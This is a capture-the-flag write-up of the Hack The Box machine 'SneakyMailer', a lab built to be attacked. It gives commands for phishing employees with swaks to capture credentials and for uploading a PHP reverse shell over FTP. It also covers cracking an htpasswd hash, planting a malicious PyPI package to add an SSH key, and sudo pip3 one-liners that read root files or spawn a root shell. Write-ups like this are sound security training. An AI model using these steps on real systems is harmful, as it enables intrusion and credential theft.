Hack The Box — SneakyMailer Writeup

Fahmi J
8 min readNov 28, 2020

Never interrupt your enemy when he is making mistakes
- Napoleon Bonaparte

SneakyMailer is a medium difficulty Linux box. It starts by obtaining credentials through phishing attack. The credentials allows me to access one of the users’ mailboxes and obtain an FTP account. Foothold on the system can be gained after dropping a reverse shell on the FTP. Internal enumeration discovers a PyPI server that can be exploited to escalate myself to user by uploading a malicious package. The user is allowed to run pip3 with sudo privileges, and this can be leveraged to obtain root access.



→ root@iamf «sneakymailer» «» 
$ mkdir nmap; nmap -sC -sV -oN nmap/inital-sneaky -v

With an initial scan, nmap discovers seven ports open and also identifies the services behind them.

I’ll summarize the result:

  • There is an FTP service on port 21, but nmap shows no sign that anonymous login is allowed.
  • An SSH service on port 22
  • Three email protocols, SMTP port 25, IMAP on port 143 and secure IMAP on port 993
  • And a web server hosting two sites on port 80 and 8080. nmap identifies the hostname as sneakycorp.htb.

I’ll add sneakycorp.htb to my /etc/hosts file:

→ root@iamf «sneakymailer» «» 
$ echo ' sneakycorp.htb' >> /etc/hosts


TCP 80 — Website sneakycorp.htb

Visiting sneakycorp.htb on port 80 displays a project dashboard for a company called SneakyCorp. One project is marked as “Complete!” while the other one seems still in progress for about 80%.

Clicking on the “Team” menu points to/team.php. This page shows a table contains the employees' data of SneakyCorp.

I saved the whole table data and stored it in a file called team.

I can grab the emails using the grep and tr command as follows:

→ root@iamf «sneakymailer» «» 
$ cat team | egrep -o "[^[:space:]]+@[^[:space:]]+" | tr -d "<>" | tee emails.list

I performed a directory bruteforce with gobuster but it didn’t show any interesting results.

TCP 8080 — Web (default nginx page)

It returns the default nginx page.

TCP 25 — SMTP (Mail)

I tried to send an email, and it got queued.

Given a list of email addresses, the box title, as well as the illustration, I can guess it has something to do with email phishing.

:: Email Phishing

I’ll setup a netcat listener on port 80, and then I’ll use a tool called swaks to send an email containing my HTB ip address to all the email adresses I’ve got.

→ root@iamf «sneakymailer» «» 
$ swaks --server '' --to `cat emails.list | tr '\n' ','` --from admin@sneakymailer.htb --body ""

And there is an HTTP POST request coming to my listener.

The request body contains this data.


It can be decoded using an online URL decoder to:


The parameter password and rpassword seem juicy where the r might refer to reset or retype the password.

Unfortunately, the password doesn’t work on SSH and FTP.

TCP 143 — IMAP

With the obtained credentials, I can try to use it on IMAP, but since Kali doesn’t have any builtin mail apps, I’ll need an email client, and I end up with sylpheed. You can install it with sudo apt-get install sylpheed.

But before moving on, I’ll add sneakymailer.htb to my/etc/hosts file to avoid problems with dns/name resolution.

→ root@iamf «sneakymailer» «» 
$ echo ' sneakymailer.htb' >> /etc/hosts

:: Email Access — Sylpheed

As this is my first install, I’ll have to determine the location of the mailbox (storage) for receiving email from the mail server. I decided to put it on/root/sneaky/loot/Mail.

Next I’ll have to determine the account type. Because the box only has IMAP listening and we’re not going outside VPN connection, then I should choose IMAP4.

In the following section, I’ll use the display name Paul and the email address paulbyrd@sneakymailer.htb that I obtained through phishing.

I lost some screenshots after the step above, but here is the final configuration.

Lastly, enter paulbyrd’s password, ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht, if the app asks for it after applying the configuration.

Now wait until it fetches all the emails from the server.

:: Retrieving the emails

In Paul’s mailbox, I found two emails inside the “Sent Items” folder.

The first email was sent with the subject of “Password Reset”. In this email, Paul asks the administrator to change the developer account password. I’ll grab the credentials of the developer account.

The second email was sent with the subject “Module testing”, but right now I’m not sure what it is about.


FTP Access

The developer account can be used to access the FTP server. There is only one directory called/dev in the FTP root directory. I access the FTP server via browser.

The files inside this FTP look the same files as the one hosted on sneakycorp.htb, except it has the additional word “dev” in the title.

Reverse Shell via FTP Upload

The developer account has write permission on the /dev directory, so I can drop a PHP reverse shell payload there.

ftp> put /shares/reversef.php iamf.php

At first I thought it was on http://sneakycorp.htb/iamf.php, and it turns out that the uploaded shell was available on http://dev.sneakycorp.htb/iamf.php, so I’ll have to add dev.sneakycorp.htb to my /etc/hosts.

→ root@iamf «sneakymailer» «» 
$ echo '' >> dev.sneakycorp.htb

Now I can trigger my web shell with curl.

→ root@iamf «sneakymailer» «» 
$ curl -s http://dev.sneakycorp.htb/iamf.php

The listener has an interactive shell now.

After gaining access to the box, I can re-enumerate and search for files containing sensitive data.

Privilege Escalation

Internal Enumeration

In /var/www, I found another subdomain. The new is pypi.sneakycorp.htb, I’ll add it to my /etc/hosts file.

I discovered .htpasswd file inside pypi.sneakycorp.htb, which contains pypi credentials.

I’ll save pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/ to my note and send it to my Windows for cracking. In /home there is no user called pypi, so it might be used for something else.

Cracking Password

The password can be cracked easily with John the Ripper.

The password is soufianeelhaoui

Malicious PyPI package

Looking into the web configuration file, pypi.sneakycorp.htb is accessible on localhost:5000.

It is also accessible from remote on port 8080 if I specify the hostname, pypi.sneakycorp.htb.

Remember about the second email Paul sent to user law?

Hello lowYour current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

The idea is that I can create my own PyPI package, of course a malicious one, upload it (can be local or remote), and then let user low install the package (configured by the box’s author automatically).

:: Creating Malicious PyPI package

To create a package, I’ll use the official site tutorial as my reference:

First, I’ll get the setup.py template which looks like this:

My goal is only to insert my SSH public key to low’s authorized_keys, so I’ll need to modify the code to this:

From the link above, in order to upload a package to the PyPI server, a file called .pypirc must be present at $HOME/.pypirc.

The file is required for authentication, so I’ll create one and put the pypi credential I obtained before.

index-servers =

username: pypi
password: soufianeelhaoui

If I wanted to upload remotely, my .pypirc would look like this:

index-servers =

repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

I’ll transfer setup.py and .pypirc to /dev/shm of SneakyMailer via Python http server.

→ root@iamf «exploits» «» 
$ python3 -m http.server 80

On Sneaky:

Now at /dev/shm, the folder structure looks like this.

├── .pypirc
├── iamf.php
└── setup.py

The last part is set $HOME to /dev/shm, because .pypirc should be placed at $HOME/.pypirc.

www-data@sneakymailer:/dev/shm$ export $HOME=/dev/shm

:: Uploading the Package

After all is set, I can start uploading the malicious package I made to the PyPI server locally using the command below.

www-data@sneakymailer:~$ python3 setup.py sdist upload -r local

As long as I see the server response is 200, that means I have successfully uploaded the package.

SSH Access as low

Now I can login with my private key as user low.

→ root@iamf «sneakymailer» «» 
$ ssh -i id_ecdsa low@

User flag is done here.

Abusing sudo pip

User low has sudo privileges on /usr/bin/pip3.

I’ll follow the instruction from GTFOBins to abuse this circumstance to obtain the root flag.

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo 'raise Exception(open("/root/root.txt").read())' > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF

Or to get a shell as follows:

low@sneakymailer:~$ TF=$(mktemp -d)
low@sneakymailer:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
low@sneakymailer:~$ sudo pip3 install $TF



Fahmi J

Just curious to learn how things work, especially in digital world.